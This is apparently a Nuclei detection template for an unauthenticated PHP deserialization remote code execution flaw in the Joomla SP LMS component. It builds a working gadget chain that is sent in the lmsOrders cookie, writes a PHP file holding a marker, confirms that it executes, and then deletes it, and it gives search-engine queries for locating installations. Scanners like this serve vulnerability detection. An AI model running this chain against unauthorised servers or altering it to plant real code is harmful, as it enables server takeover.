id: CVE-2026-48909

info:
  name: Joomla SP LMS <= 4.1.3 - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    SP LMS (com_splms) < 4.1.4 by JoomShaper deserializes user-controlled cookie data without validation, enabling an unauthenticated remote attacker to execute arbitrary code on the server.
  impact: |
    Unauthenticated remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 4.1.4 or later.
  reference:
    - https://github.com/CerberusMrXi/CVE-2026-48909-Joomla-SP-Exploit
    - https://github.com/Is4yev/CVE-2026-48909
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48909
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 9.5
    cve-id: CVE-2026-48909
    cwe-id: CWE-502
    epss-score: 0.07638
    epss-percentile: 0.9396
  metadata:
    verified: true
    max-request: 5
    vendor: joomshaper
    product: sp_lms
    framework: joomla
    shodan-query: http.component:"joomla"
    fofa-query: body="com_splms"
  tags: cve,cve2026,joomla,rce,deserialization,unauth,splms,vuln

variables:
  rand: "{{to_lower(rand_text_alpha(8))}}"

flow: |
  var rand = template["rand"];
  var filename = rand + ".php";
  var filepath = "images/" + filename;
  var marker = "nuclei" + rand + "verify";

  var B64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  function b64(s) {
    var r = "";
    for (var i = 0; i < s.length; i += 3) {
      var a = s.charCodeAt(i);
      var b = i+1 < s.length ? s.charCodeAt(i+1) : 0;
      var c = i+2 < s.length ? s.charCodeAt(i+2) : 0;
      r += B64.charAt(a >> 2);
      r += B64.charAt(((a & 3) << 4) | (b >> 4));
      r += (i+1 < s.length) ? B64.charAt(((b & 15) << 2) | (c >> 6)) : "=";
      r += (i+2 < s.length) ? B64.charAt(c & 63) : "=";
    }
    return r;
  }

  function sstr(s) { return "s:" + s.length + ":\"" + s + "\";"; }
  function pkey(n) { return "\u0000*\u0000" + n; }

  function build(path, fmt) {
    var entry = "O:23:\"Joomla\\CMS\\Log\\LogEntry\":3:"
      + "{s:4:\"date\";s:10:\"1234567890\";s:4:\"time\";s:1:\"t\";s:1:\"f\";s:3:\"xxx\";}";
    var cn = "Joomla\\CMS\\Log\\Logger\\FormattedtextLogger";
    var p = sstr(pkey("defer")) + "b:1;"
      + sstr(pkey("options")) + "a:1:{s:16:\"text_file_no_php\";b:1;}"
      + sstr(pkey("path")) + sstr(path)
      + sstr(pkey("deferredEntries")) + "a:1:{i:0;" + entry + "}"
      + sstr(pkey("format")) + sstr(fmt)
      + sstr(pkey("fields")) + "a:0:{}";
    return "O:" + cn.length + ":\"" + cn + "\":6:{" + p + "}";
  }

  function pad(s, n) { var r = ""; for (var i = 0; i < n; i++) r += s; return r; }

  function safe(path, php) {
    for (var p = 0; p < 500; p++) {
      var fmt = p > 0 ? php + pad(" ", p) : php;
      var e = b64(build(path, fmt));
      if (e.indexOf("/") === -1 && e.indexOf("+") === -1) return e;
    }
    var chars = "abcdefghijklmnopqrstuvwxyz";
    for (var p = 1; p < 500; p++) {
      for (var ci = 0; ci < chars.length; ci++) {
        var c = chars.charAt(ci);
        var fmt;
        if (php.lastIndexOf("?>") === php.length - 2) {
          fmt = php.substring(0, php.length - 2) + " /*" + pad(c, p) + "*/ ?>";
        } else {
          fmt = php + pad(c, p);
        }
        var e = b64(build(path, fmt));
        if (e.indexOf("/") === -1 && e.indexOf("+") === -1) return e;
      }
    }
    return "";
  }

  var wp = safe(filepath, "<?php echo '" + marker + "'; ?>");
  var cp = safe(filepath, "<?php @unlink(__FILE__); ?>");

  set("write_payload", wp);
  set("cleanup_payload", cp);
  set("marker", marker);
  set("urlpath", "/images/" + filename);

  http(1) && http(2) && http(3) && http(4) && http(5);

http:
  - raw:
      - |
        GET /index.php?option=com_splms&view=cart HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "com_splms")'
        condition: and
        internal: true

  - raw:
      - |
        GET /index.php?option=com_splms&view=cart HTTP/1.1
        Host: {{Hostname}}
        Cookie: lmsOrders={{write_payload}}

    matchers:
      - type: dsl
        dsl:
          - 'true'
        internal: true

  - raw:
      - |
        GET {{urlpath}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"

      - type: status
        status:
          - 200

  - raw:
      - |
        GET /index.php?option=com_splms&view=cart HTTP/1.1
        Host: {{Hostname}}
        Cookie: lmsOrders={{cleanup_payload}}

    matchers:
      - type: dsl
        dsl:
          - 'true'
        internal: true

  - raw:
      - |
        GET {{urlpath}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'true'
        internal: true
# digest: 4a0a0047304502201403b3ee2df99b7e7aa19351f648f94046457205e32d31c5d788b9e26b202945022100d74e06da0a370886f88207376532f4ebd6a4a0ee19fc8c1ccb5b74c4e9942215:922c64590222798bb761d5b6d8e72950